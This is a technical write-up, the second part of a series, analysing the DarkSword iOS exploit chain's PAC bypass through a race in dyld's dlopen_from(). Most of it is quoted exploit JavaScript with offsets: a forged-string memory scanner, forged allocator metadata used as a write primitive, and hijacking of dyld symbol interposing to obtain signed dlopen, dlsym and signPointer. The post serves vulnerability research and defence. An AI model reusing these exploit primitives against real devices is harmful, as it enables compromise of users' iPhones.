This is part 2 of the DarkSword’s PAC bypass vulnerability analysis series and will pick up where we left off in part 1. We will go over how DarkSword leverages the found Time-of-Check to Time-of-Use (TOCTOU) window in dlopen_from() to take over symbol interposing and “export” the addresses of dlopen() , dlsym() and signPointer().
Exploit Analysis
Hardcoded offsets
The DarkSword exploit code contains a massive list of hard-coded offsets and what I assume is a list of supported iOS devices, a simple string search for dyld yields the following result:
rce_offsets= {
// dyld offsets
dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n,
dyld__RuntimeState_emptySlot : 0x1a9633b6cn,
dyld__RuntimeState_vtable : 0x1f268ffb0n,
dyld__signPointer : 0x1a95fd3e4n,
// libdyld offsets
libdyld__dlopen : 0x1ad42e7b8n,
libdyld__dlsym : 0x1ad42fa34n,
libdyld__gAPIs : 0x1ed3d0000n,
}
These offsets were likely extracted via static analysis of dyld and libdyld.dylib from dyld_shared_cache
- libdyld: offset of
dlopen(),dlsym()andgAPIs. - dyld: offset of
dlopen_from_lambda_ret,RuntimeState_emptySlot,RuntimeState_vtableand thesignPointer()function.
After gaining R/W primitive via CVE-2025-43529 inside the WebKit context, it is then leveraged to exploit CVE-2026-20700.
The gAPIs exposes the process’s global dyld::APIs instance:
class VIS_HIDDEN APIs : RUNTIME_STATE_INHERITANCE RuntimeState
By reading the address of gAPIs, the recovered object address can be treated as RuntimeState base, the exploit then dereferences the base address to get the runtimeState_vtable:
const runtimeState = p.read64(offsets.libdyld__gAPIs);
p.runtimeState = runtimeState;
const runtimeState_vtable = p.read64(runtimeState).noPAC();
Next, the exploit reads the first 8 bytes of the RuntimeState vtable using the read64() function, this results in it the address of the emptySlot() function.
In dyld4,
emptySlot()occupies the first entry in theRuntimeStatevtable// DyldRuntimeState.h namespace dyld4 { ... // this need to be virtual to be callable from libdyld.dylib virtual void emptySlot() { } // cannot remove because it was change vtable of APIs ... }
Once the RuntimeState object is obtained, the exploit reads the address to the runtimeStateLock (locks) and the address the InterposeTupleAll buffer and size.
const runtimeStateLock = p.read64(runtimeState + 0x70n);
p.runtimeStateLock = runtimeStateLock;
const p_InterposeTupleAll_buffer = runtimeState + 0xb8n;
p.p_InterposeTupleAll_buffer = p_InterposeTupleAll_buffer;
const p_InterposeTupleAll_size = runtimeState + 0xc0n;
p.p_InterposeTupleAll_size = p_InterposeTupleAll_size;
Custom functions
The exploit attempts scan the worker thread’s stack to search for a specific byte sequence. To achieve this, it creates 2 custom functions that leverages JavaScriptCore’s native string functions.
create_jsstring()
This custom function creates a fake JavaScript String object that maps arbitrary, controlled memory into the string API.
p.create_jsstring = function (ptr, size) {
const res = 'a'.repeat(8); // aaaaaaaa - JSString object
const str = p.read64(p.addrof(res) + 8n); // Reads the internal pointer from the created string object
p.write64(str, size << 32n | 0x1000n); // Corrupts length and ref count
p.write64(str + 8n, ptr); // Puts controlled data to buffer
return res; // Returns the corrupted string
};
res: Creates a validJSStringobject to corruptstr:addrof(res)gets the address ofJSStringobject,+8reaches theStringImpl.read64()simply dereferences the address.- First
write64(): Corrupts them_lengthandm_refCountfields, where the size (length) is stored in the upper 32-bits and refCount is set to 1000 and stored in the lower 32-bits - Second
write64(): Corrupts them_data8/m_data16field with the attacker-controlled pointer.
Have a look at JSString structure and StringImplShape.
efficient_search
This custom function searches for the known byte sequence in an arbitrary region of process memory.
p.efficient_search = function (begin, end, bytes) { // Takes begin - end memory range, bytes to find
const needle = String.fromCharCode(...bytes); // Create the needle
const finder = p.create_jsstring(begin, end - begin); // Get corrupted JSString object
while (true) {
const index = finder.indexOf(needle); // Searches memory region for byte sequence
if (index != -1) {
return begin + BigInt(index); // Returns found address
}
}
};
needle: Construct search pattern from provided bytes sequence, interpreted as a UTF-16 stringfinder: Create a forged JSString object whose underlyingStringImplcharacter buffer points to the specified memory region (begintoend)index: The offset of matched pattern, relative tobegin- Return: The absolute address of the match
begin + offset
Instead of repeatedly invoking the arbitrary read primitive to scan memory, the exploit performs a single StringImpl corruption, then delegates the search to JavaScriptCore’s highly optimised native indexOf() implementation, making the scan more efficient. (Hence the name?)
efficient_search() is later used to locate a known return address on the worker thread’s stack. Before this can be done, the exploit first calculates the return address of the target dyld function by recovering the relative relocation between JavaScriptCore and dyld.
Prepare the exploit
Dyld offset
During the stage 1 setup, the exploit leaks the runtime address of JavaScriptCore’s built-in parseFloat() function. By subtracting its known static virtual address from dyld_shared_cache with its runtime address, it recovers the JavaScriptCore slide. This slide allows the exploit to translate any statically known JavaScriptCore function into its runtime address.
/// RCE stage 1 setup
slide = globalFuncParseFloat - offsets.JavaScriptCore__globalFuncParseFloat;
Since the static and runtime address of RuntimeState::emptySlot() is already known, the exploit can calculate dyld_offset:
/// Calculate dyld ASLR delta
const dyld_offset = offsets.dyld__RuntimeState_emptySlot - dyld_emptySlot - p.slide;
Scanning the stack frame
Despite the name, dyld_offset does not represent dyld’s ASLR slide. Rather, it’s the difference between the relocations applied to JavaScriptCore and dyld, allowing the exploit to calculate dyld’s runtime address from known JavaScriptCore’s slide.
With the delta known, the runtime address ofdlopen_from_lambda_ret can be calculated:
p.dlopen_from_lambda_ret = offsets.dyld__dlopen_from_lambda_ret - p.slide - dyld_offset;
With the dlopen_from_lambda_ret runtime address reconstructed, the 2 custom functions are called to scan the worker thread’s stack for the Loader*:
const stack_bottom = p.read64(worker.thread + 0x10n);
const stack_top = p.read64(worker.thread + 0x18n);
u64[0] = p.dlopen_from_lambda_ret;
const needle = [u8[0], u8[1], u8[2], u8[3]];
const search_result = p.efficient_search(stack_top, stack_bottom, needle);
const loader = search_result + 0x78n;
u64[0]: Reads the 64-bit address and stores the runtime address ofdlopen_from_lambda_retneedle: Extract the lower 4 bytes of the address, used to identify the savedLRon the stacksearch_result: Callsefficient_search()to scan the worker thread’s stack for the byte sequence, supplyingstack_topandstack_bottom(memory range) andneedle(search pattern). The result is the address matching savedLRloader:search_result + 0x78reaches a stack resident structure used duringdlopen_from()processing.
If you recall, the unpatched version of dyld have created 2 stack allocated vectors via STACK_ALLOC_VECTOR() macro before dyld switches to the protected stack and temporarily suspends the regular stack context. I theorised that there was a TOCTOU window where another thread could find the suspended stack frame and modify the live vectors. This is exactly what the exploit is doing.
With that said, the dlopen_from_lambda_ret is the address of the suspended stack frame when dyld briefly enters the protected stack, and search_result + 0x78 (or loader) is either of those live vectors saved on the stack.
1a95f1fac 68 E7 50 39 ldrb w8, [x27, #0x439]
1a95f1fb0 1F 05 00 71 cmp w8, #0x1
1a95f1fb4 C1 00 00 54 b.ne LAB_1a95f1fcc
1a95f1fb8 C8 0E 40 F9 ldr x8, [x22, #0x18]
1a95f1fbc 00 01 40 F9 ldr this, [x8]
1a95f1fc0 E1 03 1B AA mov x1, x27
1a95f1fc4 3B 84 00 94 bl dyld4::Loader::runInitializersBottomUpPlusUpwardLinks
1a95f1fc8 0F 00 00 14 b LAB_1a95f2004 <-- dlopen_from_lambda_ret
-------------------------------------------------------------
LAB_1a95f2004
1a95f2004 C8 0E 40 F9 ldr x8, [x22, #0x18]
1a95f2008 00 01 40 F9 ldr this, [x8]
1a95f200c C8 1A 40 F9 ldr x8, [x22, #0x30]
1a95f2010 01 01 40 39 ldrb w1, [x8]
1a95f2014 67 88 00 94 bl dyld4::handleFromLoader
1a95f2018 C8 16 40 F9 ldr x8, [x22, #0x28]
1a95f201c 00 01 00 F9 str this, [x8]
Preparing forged symbol interposing storage
Once the exploit located the saved dlopen_from() stack frame, it uses a Vector<T> stack resident to pivot to InterposeTupleAll. Rather than modifying each individual entries of InterposeTupleAll directly, it corrupts the metadata of the global Vector<InterposeTupleAll> so that it uses the backing buffer of the attacker-controlled interposingTuples, gaining control over the symbol interposing mechanism.
The exploit first allocates the backing storage that dyld will later interpret as an array of InterposeTupleAll objects.InterposeTupleAll is a struct containing two pointer-sized fields:
struct InterposeTupleAll
{
uintptr_t replacement;
uintptr_t replacee;
};
The exploit creates a JavaScript array via BigUint64Array(0x100 * 2), which creates a backing storage of 256 InterposeTupleAll entries with 2 members each.
BigUint64Array.prototype.data = function () {
return p.read64(p.addrof(this) + 0x10n);
};
const interposingTuples = new BigUint64Array(0x100 * 2);
p.interposingTuples = interposingTuples;
const interposingTuples_data_ptr = interposingTuples.data();
p.interposingTuplessaves a reference to the created array for later useinterposingTuples_data_ptrholds the native pointer to the typed array’s backing storage, allowing the exploit to place a JavaScript-managed allocation directly behind a forged C++ pointer.
Forging the metadata
The exploit creates 2 fake AllocationMetadata objects:
const prev_metadata = new BigUint64Array(4);
const prev_metadata_data_ptr = prev_metadata.data();
p.prev_metadata = prev_metadata;
p.prev_metadata_data_ptr = prev_metadata_data_ptr;
prev_metadata[0] = prev_metadata_data_ptr;
prev_metadata[1] = 1n;
const metadata = new BigUint64Array(4);
const metadata_data_ptr = metadata.data();
p.metadata1 = metadata;
metadata[0] = prev_metadata_data_ptr;
metadata[1] = metadata_data_ptr + 0x10n - interposingTuples_data_ptr | 1n;
AllocationMetadata structure (lsl/Allocator.h#L683-L694)):
AllocationMetadata {
uint64_t _prev; // Low bit indicate if the pointer points to another metadata or pool
uint64_t _next; // Low bit indicate if the space between this and next metadata is free or used
}
The exploit sets up the metadata as:
prev_metadata->_prev = prev_metadata_data_ptr: Points to itself (low bit = 0)prev_metadata->next = 1: Marked asallocatedmetadata->_prev = prev_metadata_data_ptr: Points back to prev_metadata (low bit = 0)metadata->_next = metadata_data_ptr + 0x10n - interposingTuples_data_ptr | 1: controlled write viaAllocator::free(), then or’ed 1 to set the low bit to 1 (allocated)
This causes metadata->pool() to traverse metadata->prev_metadata->_prev_metadata->… indefinitely after the controlled write has occured, trapping the current worker thread and preventing the allocator from continuing into invalid coalescing and validation logic.
Turning metadata->_next into a write
The metadata->_next, is used to shape the size() arithmetic before deallocate() reaches pool(), which turns the Allocator::free() into a controlled write primitive.
~Vector<T> calls resize(0), which eventually performs _allocator->free(_buffer); (Allocator.cpp#L668-L684)
void Allocator::free(void* ptr) {
if ( !ptr ) { return; }
#if !DYLD_FEATURE_USE_INTERNAL_ALLOCATOR
::free(ptr);
#else
ALLOCATOR_LOG("ALLOCATOR(0x%llx/%llu)\tfree: (0x%llx)\n", (uint64_t)this, +_logID++, (uint64_t)ptr);
ALLOCATOR_TRACE("allocator.free(alloc%llu);\n", (uint64_t)ptr);
AllocationMetadata* metadata = AllocationMetadata::forPtr(ptr);
_allocatedBytes -= metadata->size();
metadata->deallocate();
validate();
#endif /* !DYLD_FEATURE_USE_INTERNAL_ALLOCATOR */
}
uint64_t Allocator::AllocationMetadata::size() const {
return ((_next & kNextBlockAddressMask) - ((uint64_t)this + sizeof(AllocationMetadata)));
}
kNextBlockAddressMasksimply removes the two low metadata flag, leaving only the address of_nextmetadata->size()is determined by subtracting the address immediately after the current metadata header from the masked address value encoded in_next
Since this points to metadata_data_ptr and sizeof(AllocationMetadata) is 0x10 bytes:metadata->size() = (metadata_data_ptr + 0x10 - interposingTuples_data_ptr) - (metadata_data_ptr + 0x10)metadata->size() = -interposingTuples_data_ptr
And since the result is uint64_t, this negative value is represented as an unsigned wrap around metadata->size() = 2^64 - interposingTuples_data_ptr.
The allocator later subtracts this wrapped value:_allocatedBytes -= metadata->size(); -> _allocatedBytes += interposingTuples_data_ptr
Corrupting Vector<T>
The loader object is an lsl::Vector<T> resident in the suspended dlopen_from() stack frame:
struct Vector<T> {
Allocator* _allocator // 0x0
value_type* _buffer // 0x8
uint64_t _size // 0x10
uint64_t _capacity // 0x18
}
The exploit would overwrite:
loader -> Vector<T>::_allocator = target_address - 0x10
loader + 8 -> Vector<T>::_buffer = metadata_data_ptr + 0x10
When this corrupted vector is destroyed, the cleanup path will eventually reach _allocator->free(_buffer);
The layout of Allocator is:
Allocator {
Pool* _firstPool // 0x0
Pool* _currentPool // 0x8
uint64_t _allocatedBytes // 0x10
uint64_t _logID // 0x18
bool _bestFit // 0x20
}
And inside the free(_buffer):
void Allocator::free(void* ptr) {
if ( !ptr ) { return; }
AllocationMetadata* metadata = AllocationMetadata::forPtr(ptr);
_allocatedBytes -= metadata->size();
metadata->deallocate();
validate();
}
Allocator::AllocationMetadata* Allocator::AllocationMetadata::forPtr(void* ptr) {
AllocationMetadata* castPtr = static_cast<AllocationMetadata*>(ptr);
return castPtr-1;
}
The exploit controls 2 operands:
- Forged
Vector<T>->_allocatorcontrols the location of_allocatedBytes - Forged
AllocationMetadata->_nextcontrols what valuesmetadata->size()returns
The vector’s _allocator is set to target_address - 0x10, and _allocatedBytes is at 0x10:Allocator->_allocatedBytes = (target_address - 0x10) + 0x10 => Allocator->_allocatedBytes = target_address
Because Allocator::free() expects a void* ptr, forPtr(ptr) is used to cast it to AllocationMetadata. The castPtr-1 basically subtracts the current address with the size of AllocationMetadata, meaning forPtr() subtracts 0x10 from the pointer.
The vector’s _buffer is set to metadata_data_ptr + 0x10, this would become:metadata = (metadata_data_ptr + 0x10) - 0x10 => metadata = metadata_data_ptr
The complete destruction flow would become:~Vector<T>() -> resize(0) -> _allocator->free((void*)_buffer) -> _allocatedBytes -= metadata->size() -> controlled write done -> metadata->deallocate -> metadata->pool() -> loops metadata->prev_metadata->prev_metadata->…
Hijacking symbol interposing
Phase 1 – Corrupting InterposeTupleAll._buffer
In check_dlopen1, the exploit obtain a worker thread and targets the RuntimeState::InterposeTupleAll._buffer.
metadata[1] = metadata_data_ptr + 0x10n - interposingTuples_data_ptr | 1n;
p.write64(loader, p_InterposeTupleAll_buffer - 0x10n);
p.write64(loader + 8n, metadata_data_ptr + 0x10n);
The first write sets Vector<T>::_allocator = p_InterposeTupleAll_buffer - 0x10, and _allocatedBytes is at offset 0x10:_allocatedBytes = (p_InterposeTupleAll_buffer - 0x10) + 0x10 causing _allocatedBytes to alias to p_InterposeTupleAll_buffer
The second write sets Vector<T>::_buffer = metadata_data_ptr + 0x10, causing forPtr(_buffer) to recover the forged metadata:Vector<T>::_buffer = (metadata_data_ptr + 0x10) - 0x10 => Vector<T>::_buffer = metadata_data_ptr
Recall that the metadata->size() was shaped so that metadata->size() = -interposingTuples_data_ptr, therefore:_allocatedBytes -= metadata->size() becomes p_InterposeTupleAll_buffer += interposingTuples_data_ptr or
RuntimeState::InterposeTupleAll._buffer = interposingTuples_data_ptr (assuming buffer = null)
The exploit then triggers the loader path that allows the corrupted stack vector to reach its destructor:
await loadObjcClass(offsets.AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice);
This call completes the phase 1 write, causing RuntimeState::InterposeTupleAll._buffer to point to interposingTuples_data_ptr. Dyld does not yet have a usable forged symbol interposing array as the Vector<T>::_size is not written yet.
Phase 2 – Corrupting the InterposeTupleAll._size
In check_dlopen2, the exploit obtains another thread and performs the address lookup just like before to obtain the loader from the saved dlopen_from() stack frame and targets the RuntimeState::InterposeTupleAll._size.
A new metadata object is created, but it points to the same persistent prev_metadata used in phase 1:
p.metadata1 = metadata;
metadata[0] = p.prev_metadata_data_ptr;
metadata[1] = metadata_data_ptr + 0x10n - 0x100n | 1n; // 0x100 matches the number of entries from p.interposingTuple
p.write64(loader, p.p_InterposeTupleAll_size - 0x10n);
p.write64(loader + 8n, metadata_data_ptr + 0x10n);
In this phase, the metadata->_next is shaped so that it causes metadata->size() to evaluate to -0x100. Since the forged allocator causes _allocatedBytes to overlap with Runtimestate::interposeTupleAll._size, it becomes:_allocatedBytes -= metadata->size() => p_InterposeTupleAll_size += 0x100 or RuntimeState::InterposeTupleAll._size = 0x100 (assuming size = 0)
await loadObjcClass(offsets.AVFAudio__OBJC_CLASS__AVSpeechUtterance);
With the _size field written, the global Vector<InterposeTupleAll> becomes:
RuntimeState::InterposeTupleAll._buffer = interposingTuples_data_ptrRuntimeState::InterposeTupleAll._size = 0x100
Dyld now sees the typed-array backing storage as an array of 256 InterposeTupleAll objects.
The Signing Oracle
After triggering the phase 2 destructor path, the exploit populates interposingTuples array then polls _size until the second write occurs. It then triggers a separate WebCore/ImageIO path that causes dyld to consume the forged interpose entries:
let interpose_index = 0;
function interpose(ptr, val) {
p.interposingTuples[interpose_index++] = val;
p.interposingTuples[interpose_index++] = ptr;
}
Which matches the InterposeTupleAll struct.
Then, it maps the symbols it wants to be interposed by dyld, most notably:
interpose(offsets.CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation, offsets.libdyld__dlopen);
interpose(offsets.CMPhoto__CMPhotoCompressionSessionAddCustomMetadata, offsets.libdyld__dlsym);
interpose(offsets.CMPhoto__CMPhotoCompressionSessionAddExif, offsets.dyld__signPointer);
And lastly, the exploit polls p_InterposeTupleAll_size to wait for the second vector destruction write to complete and confirms that the forged 256 entries vector is now visible to dyld.
while (p.read64(p.p_InterposeTupleAll_size) != 0x100n); // polls _size field for when dyld have finished writing the desired value
Because dyld performs the symbol interposing via a legitimate arm64e binding machinery, the resulting interposed symbols for
dlopen(),dlsym()andsignPointer()carries PAC-valid signatures expected by their destination slots and compatible indirect call paths.
Whilst the exploit has managed to “export” these function addresses, it cannot use them directly as it lives in the WebKit execution context. In part 3, we will go over how the exploit sets up the native calls and signs its own pointers.
References
- https://cloud.google.com/blogs/topics/threat-intelligence/darksword-ios-exploit-chain
- https://iverify.io/blogs/darksword-ios-exploit-kit-explained
- https://www.lookout.com/threat-intelligence/article/darksword
- https://karol-mazurek.medium.com/list/dyld-do-you-like-death-2a6bcc0d8827